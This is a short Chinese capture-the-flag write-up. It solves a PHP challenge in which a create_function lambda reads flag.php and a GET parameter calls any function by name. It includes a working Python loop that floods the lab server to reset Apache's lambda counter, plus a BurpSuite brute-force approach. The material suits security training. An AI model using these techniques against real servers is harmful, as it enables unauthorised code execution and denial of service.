进入页面后给出一段代码
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
这里的主要考点是$MY = create_function("","die(`cat flag.php`);"); 匿名函数详解
创建一个匿名函数,函数会执行cat flag.phpcreate_function()函数在创建之后会生成一个函数名为:%00lambda_%d
%d的数字会逐步递增
方法一:
使用BurpSuite来实现历遍
方法二:
使用脚本通过大量的请求来迫使Pre-fork
模式启动
Apache启动新的线程,这样这里的%d
会刷新为1,就可以预测了
import requests
while True:
r=requests.get('http://83c124c7-8870-4747-a055-03f0e50b8635.node4.buuoj.cn/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break